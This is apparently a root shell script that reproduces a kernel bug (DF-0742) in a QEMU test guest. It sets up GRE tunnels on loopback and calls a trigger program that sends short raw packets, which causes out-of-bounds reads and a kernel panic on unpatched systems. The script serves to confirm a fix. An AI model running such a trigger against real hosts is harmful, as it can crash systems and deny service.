#!/bin/sh
# run.sh — DF-0742 trigger
#
# Sets up gre0 (mobile mode) and gre1 (GRE mode) tunnels with
# g_src=g_dst=127.0.0.1, then injects short packets via raw socket.
# On the unpatched kernel this exercises the no-m_pullup offset-20+
# derefs in gre_input2 and gre_mobile_input.  Variant M reliably panics
# (the bcopy underflow — DF-0741 sibling — fires after the DF-0742 OOB
# reads).  Variant G is residue-dependent.
#
# MUST run as root (raw socket + ifconfig gre create + tunnel setup).
# Capture the panic from dfbsd-qemu/boot.log (serial console), not ssh.

set -e
cd "$(dirname "$0")"

# 1. Create / configure the tunnels.
ifconfig gre create 2>/dev/null || true        # gre0
ifconfig gre0 tunnel 127.0.0.1 127.0.0.1
ifconfig gre0 -link0          # mobile mode: g_proto = IPPROTO_MOBILE
ifconfig gre0 up

ifconfig gre create 2>/dev/null || true        # gre1
ifconfig gre1 tunnel 127.0.0.1 127.0.0.1
# gre1 stays in default GRE mode (link0 set): g_proto = IPPROTO_GRE
ifconfig gre1 up

# 2. Inject short packets.
./trigger 127.0.0.1 127.0.0.1
echo "TRIGGER_DONE rc=$?"

# 3. On the unpatched kernel we should be dead by now.  If we reach
#    here the fix is in place (or residue didn't trigger a panic).
echo "GUEST_ALIVE"